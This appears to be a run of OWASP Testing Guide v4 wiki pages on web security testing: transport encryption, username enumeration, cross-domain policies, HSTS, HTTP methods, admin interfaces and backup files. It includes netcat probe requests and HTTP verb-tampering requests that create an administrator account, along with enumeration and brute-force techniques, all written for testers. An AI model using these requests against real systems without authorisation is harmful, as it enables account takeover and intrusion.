Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/homepage.do
Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB6pLhjkW6F
Content-Type: application/x-www-form-urlencoded
Content-length: 45

User=test&Pass=test&portal=ExamplePortal
</pre>

We can see that our request is addressed to ''www.example.com:443/login.do'' using HTTPS. But if we have a look at the Referer-header (the page from which we came), it is ''www.example.com/homepage.do'' and is accessible via simple HTTP. Although we are sending data via HTTPS, this deployment can allow [http://www.thoughtcrime.org/software/sslstrip/ SSLStrip] attacks (a type of [http://en.wikipedia.org/wiki/Man-in-the-middle_attack Man-in-the-middle] attack)

'''Case study: Sending data with GET method through HTTPS'''

In this last example, suppose that the application transfers data using the GET method. This method should never be used in a form that transmits sensitive data such as username and password, because the data is displayed in clear text in the URL and this causes a whole set of security issues. For example, the URL that is requested is easily available from the server logs or from your browser history, which makes your sensitive data retrievable for unauthorized persons. So this example is purely demonstrative, but, in reality, it is strongly suggested to use the POST method instead.

<pre>
GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://www.example.com/form.html
If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
If-None-Match: "43a01-5b-4868915f"
</pre>

You can see that the data is transferred in clear text in the URL and not in the body of the request as before. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP, so the whole HTTP packet is still encrypted making the URL unreadable to a malicious user using a sniffer. Nevertheless as stated before, it is not a good practice to use the GET method to send sensitive data to a web application, because the information contained in the URL can be stored in many locations such as proxy and web server logs.

== Gray Box testing and example ==
Speak with the developers of the web application and try to understand if they are aware of the differences between HTTP and HTTPS protocols and why they should use HTTPS for transmitting sensitive information. Then, check with them if HTTPS is used in every sensitive request, like those in log in pages, to prevent unauthorized users to intercept the data.

== References ==
'''Whitepapers''' 
* HTTP/1.1: Security Considerations - http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html
* [http://www.troyhunt.com/2011/01/ssl-is-not-about-encryption.html SSL is not about encryption] 

==Tools==
* [[OWASP WebScarab Project|WebScarab]]
* [[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project|OWASP: Zed Attack Proxy (ZAP)]]

Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)

2014-08-01T19:32:48Z

Jane O'Connor: Added Andrew's changes.

Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)

2014-08-01T19:28:12Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for brute force testing, in which the tester verifies if, given a valid username, it is possible to find the corresponding password.

Often, web applications reveal when a username exists on system, either as a consequence of mis-configuration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong. The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username and password attack.

The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server when the user provide a valid username is different than when they use an invalid one.

In some cases, a message is received that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, testers can enumerate the existing users by sending a username and an empty password.

== How to Test==
In black box testing, the tester knows nothing about the specific application, username, application logic, error messages on log in page, or password recovery facilities. If the application is vulnerable, the tester receives a response message that reveals, directly or indirectly, some information useful for enumerating users.

===HTTP Response message===

'''Testing for Valid user/right password'''

Record the server answer when you submit a valid user ID and valid password.

'''Result Expected:'''

Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).

'''Testing for valid user with wrong password''' 
Now, the tester should try to insert a valid user ID and a wrong password and record the error message generated by the application.

'''Result Expected:''' 
The browser should display a message similar to the following one: 
[[Image:AuthenticationFailed.png]] 

or something like: 
[[Image:NoConfFound.jpg]] 

against any message that reveals the existence of user, for instance, message similar to: 
Login for User foo: invalid password

Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).

'''Testing for a nonexistent username'''

Now, the tester should try to insert an invalid user ID and a wrong password and record the server answer (the tester should be confident that the username is not valid in the application). Record the error message and the server answer.

'''Result Expected:'''

If the tester enters a nonexistent user ID, they can receive a message similar to: 
[[Image:Userisnotactive.png]] 

or message like the following one: 

Login failed for User foo: invalid Account

Generally the application should respond with the same error message and length to the different incorrect requests. If the responses are not the same, the tester should investigate and find out the key that creates a difference between the two responses. For example:
* Client request: Valid user/wrong password --> Server answer:'The password is not correct'
* Client request: Wrong user/wrong password --> Server answer:'User not recognized'

The above responses let the client understand that for the first request they have a valid user name. So they can interact with the application requesting a set of possible user IDs and observing the answer.

Looking at the second server response, the tester understand in the same way that they don't hold a valid username. So they can interact in the same manner and create a list of valid user ID looking at the server answers.

===Other ways to enumerate users===

Testers can enumerate users in several ways, such as: 

'''- Analyzing the error code received on login pages''' 
Some web application release a specific error code or message that we can analyze.

'''- Analyzing URLs and URLs re-directions''' 
For example: 
http://www.foo.com/err.jsp?User=baduser&Error=0 
http://www.foo.com/err.jsp?User=gooduser&Error=2

As is seen above, when a tester provides a user ID and password to the web application, they see a message indication that an error has occurred in the URL. In the first case they have provided a bad user ID and bad password. In the second, a good user ID and a bad password, so they can identify a valid user ID.

'''- URI Probing''' 
Sometimes a web server responds differently if it receives a request for an existing directory or not. For instance in some portals every user is associated with a directory. If testers try to access an existing directory they could receive a web server error.

A very common error that is received from web server is: 
403 Forbidden error code
and 
404 Not found error code
 
Example 
http://www.foo.com/account1 - we receive from web server: 403 Forbidden
http://www.foo.com/account2 - we receive from web server: 404 file Not Found

In the first case the user exists, but the tester cannot view the web page, in second case instead the user “account2” does not exist. By collecting this information testers can enumerate the users.

'''- Analyzing Web page Titles''' 
Testers can receive useful information on Title of web page, where they can obtain a specific error code or messages that reveal if the problems are with the username or password.

For instance, if a user cannot authenticate to an application and receives a web page whose title is similar to:
Invalid user
Invalid authentication

'''- Analyzing a message received from a recovery facility''' 
When we use a recovery facility (i.e. a forgotten password function) a vulnerable application might return a message that reveals if a username exists or not.

For example, message similar to the following: 
Invalid username: e-mail address is not valid or the specified user was not found.

Valid username: Your password has been successfully sent to the email address you registered with.
 

'''- Friendly 404 Error Message''' 
When we request a user within the directory that does not exist, we don't always receive 404 error code. Instead, we may receive “200 ok” with an image, in this case we can assume that when we receive the specific image the user does not exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.
 
 
===Guessing Users===
In some cases the user IDs are created with specific policies of administrator or company. For example we can view a user with a user ID created in sequential order: 
CN000100 
CN000101 
…. 

Sometimes the usernames are created with a REALM alias and then a sequential numbers: 
R1001 – user 001 for REALM1 
R2001 – user 001 for REALM2 
 

In the above sample we can create simple shell scripts that compose user IDs and submit a request with tool like wget to automate a web query to discern valid user IDs. To create a script we can also use Perl and CURL.

Other possibilities are:
- user IDs associated with credit card numbers, or in general numbers with a pattern.
- user IDs associated with real names, e.g. if Freddie Mercury has a user ID of "fmercury", then you might guess Roger Taylor to have the user ID of "rtaylor".

Again, we can guess a username from the information received from an LDAP query or from Google information gathering, for example, from a specific domain. Google can help to find domain users through specific queries or through a simple shell script or tool.

'''Attention:''' by enumerating user accounts, you risk locking out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, your IP address can be banned by dynamic rules on the application firewall or Intrusion Prevention System.

== Gray Box testing ==
'''Testing for Authentication error messages''' 

Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and Gray Box testing have the same concept based on the analysis of messages or error codes received from web application. 

'''Result Expected:''' 
The application should answer in the same manner for every failed attempt of authentication. 

For Example: 
Credentials submitted are not valid

== References ==
* Marco Mella, ''Sun Java Access & Identity Manager Users enumeration: http://www.aboutsecurity.net ''
* ''Username Enumeration Vulnerabilities: http://www.gnucitizen.org/blog/username-enumeration-vulnerabilities ''

==Tools==
* WebScarab: [[OWASP_WebScarab_Project]]
* CURL: http://curl.haxx.se/
* PERL: http://www.perl.org
* Sun Java Access & Identity Manager users enumeration tool: http://www.aboutsecurity.net

== Remediation ==

Ensure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the log in process.

Ensure default system accounts and test accounts are deleted prior to releasing the system into production (or exposing it to an untrusted network).

Test RIA cross domain policy (OTG-CONFIG-008)

2014-08-01T19:22:25Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
Rich Internet Applications (RIA) have adopted Adobe's crossdomain.xml policy files to allow for controlled cross domain access to data and service consumption using technologies such as Oracle Java, Silverlight, and Adobe Flash. Therefore, a domain can grant remote access to its services from a different domain. However, often the policy files that describe the access restrictions are poorly configured. Poor configuration of the policy files enables Cross-site Request Forgery attacks, and may allow third parties to access sensitive data meant for the user.

=== What are cross-domain policy files? ===
A cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Reader, etc. use to access data across different domains. For Silverlight, Microsoft adopted a subset of the Adobe's crossdomain.xml, and additionally created it's own cross-domain policy file: clientaccesspolicy.xml.

Whenever a web client detects that a resource has to be requested from other domain, it will first look for a policy file in the target domain to determine if performing cross-domain requests, including headers, and socket-based connections are allowed.

Master policy files are located at the domain's root. A client may be instructed to load a different policy file but it will always check the master policy file first to ensure that the master policy file permits the requested policy file.

==== Crossdomain.xml vs. Clientaccesspolicy.xml ====
Most RIA applications support crossdomain.xml. However in the case of Silverlight, it will only work if the crossdomain.xml specifies that access is allowed from any domain. For more granular control with Silverlight, clientaccesspolicy.xml must be used.

Policy files grant several types of permissions:
* Accepted policy files (Master policy files can disable or restrict specific policy files)
* Sockets permissions
* Header permissions
* HTTP/HTTPS access permissions
* Allowing access based on cryptographic credentials

An example of an overly permissive policy file:
<pre>
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
</pre>

=== How can cross domain policy files can be abused? ===
* Overly permissive cross-domain policies.
* Generating server responses that may be treated as cross-domain policy files.
* Using file upload functionality to upload files that may be treated as cross-domain policy files.

=== Impact of abusing cross-domain access ===
* Defeat CSRF protections.
* Read data restricted or otherwise protected by cross-origin policies.

== How to Test ==
'''Testing for RIA policy files weakness:''' 
To test for RIA policy file weakness the tester should try to retrieve the policy files crossdomain.xml and clientaccesspolicy.xml from the application's root, and from every folder found. 
For example, if the application's URL is http://www.owasp.org, the tester should try to download the files http://www.owasp.org/crossdomain.xml and http://www.owasp.org/clientaccesspolicy.xml.
 
After retrieving all the policy files, the permissions allowed should be be checked under the least privilege principle. Requests should only come from the domains, ports, or protocols that are necessary. Overly permissive policies should be avoided. Policies with "*" in them should be closely examined. 
Example:
<pre><cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy></pre>

'''Result Expected:''' 
*A list of policy files found. 
*A weak settings in the policies. 

== References ==
'''Whitepapers''' 
* UCSD: "Analyzing the Crossdomain Policies of Flash Applications" - http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf
* Adobe: "Cross-domain policy file specification" - http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html
* Adobe: "Cross-domain policy file usage recommendations for Flash Player" - http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html
* Oracle: "Cross-Domain XML Support" - http://www.oracle.com/technetwork/java/javase/plugin2-142482.html#CROSSDOMAINXML
* MSDN: "Making a Service Available Across Domain Boundaries" - http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx
* MSDN: "Network Security Access Restrictions in Silverlight" - http://msdn.microsoft.com/en-us/library/cc645032(v=vs.95).aspx
* Stefan Esser: "Poking new holes with Flash Crossdomain Policy Files" http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html
* Jeremiah Grossman: "Crossdomain.xml Invites Cross-site Mayhem" http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html
* Google Doctype: "Introduction to Flash security " - http://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurity

 
==Tools==
* Nikto
* OWASP Zed Attack Proxy Project
* W3af

Test HTTP Strict Transport Security (OTG-CONFIG-007)

2014-08-01T19:20:45Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
The HTTP Strict Transport Security (HSTS) header is a mechanism that web sites have to communicate to the web browsers that all traffic exchanged with a given domain must always be sent over https, this will help protect the information from being passed over unencrypted requests. 

Considering the importance of this security measure it is important to verify that the web site is using this HTTP header, in order to ensure that all the data travels encrypted from the web browser to the server. 

The HTTP Strict Transport Security (HSTS) feature lets a web application to inform the browser, through the use of a special response header, that it should never establish a connection to the the specified domain servers using HTTP. Instead it should automatically establish all connection requests to access the site through HTTPS.

The HTTP strict transport security header uses two directives:
*max-age: to indicate the number of seconds that the browser should automatically convert all HTTP requests to HTTPS.
*includeSubDomains: to indicate that all web application’s sub-domains must use HTTPS.

Here's an example of the HSTS header implementation: 
Strict-Transport-Security: max-age=60000; includeSubDomains

The use of this header by web applications must be checked to find if the following security issues could be produced:
* Attackers sniffing the network traffic and accessing the information transferred through an unencrypted channel.
* Attackers exploiting a man in the middle attack because of the problem of accepting certificates that are not trusted.
* Users who mistakenly entered an address in the browser putting HTTP instead of HTTPS, or users who click on a link in a web application which mistakenly indicated the http protocol.

== How to Test ==
Testing for the presence of HSTS header can be done by checking for the existence of the HSTS header in the server's response in an interception proxy, or by using curl as follows: 
$ curl -s -D- <nowiki>https://domain.com/</nowiki> | grep Strict
Result expected: 
Strict-Transport-Security: max-age=...

== References ==
* OWASP HTTP Strict Transport Security - https://www.owasp.org/index.php/HTTP_Strict_Transport_Security
* OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security - http://www.youtube.com/watch?v=zEV3HOuM_Vw
* HSTS Specification: http://tools.ietf.org/html/rfc6797

Test HTTP Methods (OTG-CONFIG-006)

2014-08-01T19:19:08Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined. 

While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the standard today) defines the following eight methods:

* HEAD
* GET
* POST
* PUT
* DELETE
* TRACE
* OPTIONS
* CONNECT

Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:

* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository.
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack.
* CONNECT: This method could allow a client to use the web server as a proxy.
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page).

If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.

== Arbitrary HTTP Methods ==

Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen or arbitrary HTTP methods to bypass an environment level access control check:

* Many frameworks and languages treat "HEAD" as a "GET" request, albeit one without any body in the response. If a security constraint was set on "GET" requests such that only "authenticatedUsers" could access GET requests for a particular servlet or resource, it would be bypassed for the "HEAD" version. This allowed unauthorized blind submission of any privileged GET request.

* Some frameworks allowed arbitrary HTTP methods such as "JEFF" or "CATS" to be used without limitation. These were treated as if a "GET" method was issued, and were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.

In many cases, code which explicitly checked for a "GET" or "POST" method would be safe.

== Black Box Testing ==

'''Discover the Supported Methods''' 
To perform this test, the tester needs some way to figure out which HTTP methods are supported by the web server that is being examined. The OPTIONS HTTP method provides the tester with the most direct and effective way to do that. RFC 2616 states that, "The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI".

The testing method is extremely straightforward and we only need to fire up netcat (or telnet):
<pre>
$ nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0

</pre>

As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section 
'''Test XST Potential''' 
Note: in order to understand the logic and the goals of this attack one must be familiar with [[XSS |Cross Site Scripting attacks]].

The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HTTPOnly]] tag that Microsoft introduced in Internet Explorer 6 SP1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he or she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript from accessing it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.

As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), the tester can proceed as shown in the following example:
<pre>
$ nc www.victim.com 80
TRACE / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close
Content-Type: message/http
Content-Length: 39

TRACE / HTTP/1.1
Host: www.victim.com
</pre>

The response body is exactly a copy of our original request, meaning that the target allows this method. Now, where is the danger lurking? If the tester instructs a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.

There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack.

An attacker has two ways to successfully launch a Cross Site Tracing attack:
*Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack
*Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.

More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman. 

=== Testing for arbitrary HTTP methods ===

Find a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if a tester obtains a "200" response that is not a log in page, it is possible to bypass authentication and thus authorization.

<pre>
$ nc www.example.com 80
JEFF / HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache
Set-Cookie: PHPSESSID=K53QW...
</pre>

If the framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.

If the tester feels that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully:

* FOOBAR /admin/createUser.php?member=myAdmin
* JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator.

=== Testing for HEAD access control bypass ===

Find a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if the tester obtains a "200" response that is not a login page, it is possible to bypass authentication and thus authorization.

<pre>
$ nc www.example.com 80
HEAD /admin HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:44:11 GMT
Server: Apache
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com
Content-Language: EN
Connection: close
Content-Type: text/html; charset=ISO-8859-1
</pre>

If the tester gets a "405 Method not allowed" or "501 Method Unimplemented", the target (application/framework/language/system/firewall) is working correctly. If a "200" response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted.

If the tester thinks that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully:

* HEAD /admin/createUser.php?member=myAdmin
* HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator, all using blind request submission.

== References ==
'''Whitepapers''' 
* RFC 2616: "Hypertext Transfer Protocol -- HTTP/1.1"
* RFC 2109 and RFC 2965: "HTTP State Management Mechanism"
* Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf 
* Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" - http://www.securityfocus.com/archive/107/308433
* Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" - http://static.swpag.info/download/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf

==Tools==
*NetCat - http://nc110.sourceforge.net
*cURL - http://curl.haxx.se/

Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)

2014-08-01T19:14:35Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
 
Administrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.
 

An application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:

*user account provisioning 
*site design and layout 
*data manipulation 
*configuration changes 

In many instances, such interfaces do not have sufficient controls to protect them from unauthorized access. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users.

== Black Box Testing ==
The following section describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used to test for related issues including privilege escalation, and are described elsewhere in this guide(for example [https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_%28OWASP-AZ-002%29 Testing for Bypassing Authorization Schema (OWASP-AZ-002)] and [https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_%28OWASP-AZ-004%29 Testing for Insecure Direct Object References (OWASP-AZ-004)] in greater detail.

* Directory and file enumeration. An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: ''/admin or /administrator etc..'' or in some scenarios can be revealed within seconds using [http://www.exploit-db.com/google-dorks Google dorks].
* There are many tools available to perform brute forcing of server contents, see the tools section below for more information. * A tester may have to also identify the file name of the administration page. Forcibly browsing to the identified page may provide access to the interface.
* Comments and links in source code. Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.
* Reviewing server and application documentation. If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.
* Publicly available information. Many applications such as wordpress have default administrative interfaces .
* Alternative server port. Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat's Administration interface can often be seen on port 8080.
* Parameter tampering. A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this include the presence of hidden fields such as:

<input type="hidden" name="admin" value="no">

or in a cookie:

Cookie: session_cookie; useradmin=0

Once an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present.

== Gray Box Testing ==
A more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.
 

Source code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality.
 

== References ==
* Default Password list: http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php
* Default Password list: http://www.cirt.net/passwords

== Tools ==
* [https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project Dirbuster] This currently inactive OWASP project is still a great tool for brute forcing directories and files on the server.
* [https://www.thc.org/thc-hydra/ THC-HYDRA] is a tool that allows brute-forcing of many interfaces, including form-based HTTP authentication.
*A brute forcer is much better when it uses a good dictionary, for example the [https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/ netsparker] dictionary.

Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)

2014-08-01T19:13:36Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
While most of the files within a web server are directly handled by the server itself, it isn't uncommon to find unreferenced or forgotten files that can be used to obtain important information about the infrastructure or the credentials.

Most common scenarios include the presence of renamed old versions of modified files, inclusion files that are loaded into the language of choice and can be downloaded as source, or even automatic or manual backups in form of compressed archives. Backup files can also be generated automatically by the underlying file system the application is hosted on, a feature usually referred to as "snapshots".

All these files may grant the tester access to inner workings, back doors, administrative interfaces, or even credentials to connect to the administrative interface or the database server.

An important source of vulnerability lies in files which have nothing to do with the application, but are created as a consequence of editing application files, or after creating on-the-fly backup copies, or by leaving in the web tree old files or unreferenced files.Performing in-place editing or other administrative actions on production web servers may inadvertently leave backup copies, either generated automatically by the editor while editing files, or by the administrator who is zipping a set of files to create a backup.

It is easy to forget such files and this may pose a serious security threat to the application. That happens because backup copies may be generated with file extensions differing from those of the original files. A ''.tar, .zip or .gz'' archive that we generate (and forget...) has obviously a different extension, and the same happens with automatic copies created by many editors (for example, emacs generates a backup copy named ''file~ ''when editing ''file''). Making a copy by hand may produce the same effect (think of copying ''file'' to ''file.old''). The underlying file system the application is on could be making "snapshots" of your application at different points in time without your knowledge, which may also be accessible via the web, posing a similar but different "backup file" style threat to your application.

As a result, these activities generate files that are not needed by the application and may be handled differently than the original file by the web server. For example, if we make a copy of ''login.asp'' named ''login.asp.old'', we are allowing users to download the source code of ''login.asp''. This is because ''login.asp.old'' will be typically served as text or plain, rather than being executed because of its extension. In other words, accessing ''login.asp'' causes the execution of the server-side code of ''login.asp'', while accessing ''login.asp.old'' causes the content of ''login.asp.old'' (which is, again, server-side code) to be plainly returned to the user and displayed in the browser. This may pose security risks, since sensitive information may be revealed.

Generally, exposing server side code is a bad idea. Not only are you unnecessarily exposing business logic, but you may be unknowingly revealing application-related information which may help an attacker (path names, data structures, etc.). Not to mention the fact that there are too many scripts with embedded username and password in clear text (which is a careless and very dangerous practice).

Other causes of unreferenced files are due to design or configuration choices when they allow diverse kind of application-related files such as data files, configuration files, log files, to be stored in file system directories that can be accessed by the web server. These files have normally no reason to be in a file system space that could be accessed via web, since they should be accessed only at the application level, by the application itself (and not by the casual user browsing around).

'''Threats'''

Old, backup and unreferenced files present various threats to the security of a web application:

* Unreferenced files may disclose sensitive information that can facilitate a focused attack against the application; for example include files containing database credentials, configuration files containing references to other hidden content, absolute file paths, etc.
* Unreferenced pages may contain powerful functionality that can be used to attack the application; for example an administration page that is not linked from published content but can be accessed by any user who knows where to find it.
* Old and backup files may contain vulnerabilities that have been fixed in more recent versions; for example ''viewdoc.old.jsp'' may contain a directory traversal vulnerability that has been fixed in ''viewdoc.jsp'' but can still be exploited by anyone who finds the old version.
* Backup files may disclose the source code for pages designed to execute on the server; for example requesting ''viewdoc.bak'' may return the source code for ''viewdoc.jsp'', which can be reviewed for vulnerabilities that may be difficult to find by making blind requests to the executable page. While this threat obviously applies to scripted languages, such as Perl, PHP, ASP, shell scripts, JSP, etc., it is not limited to them, as shown in the example provided in the next bullet.
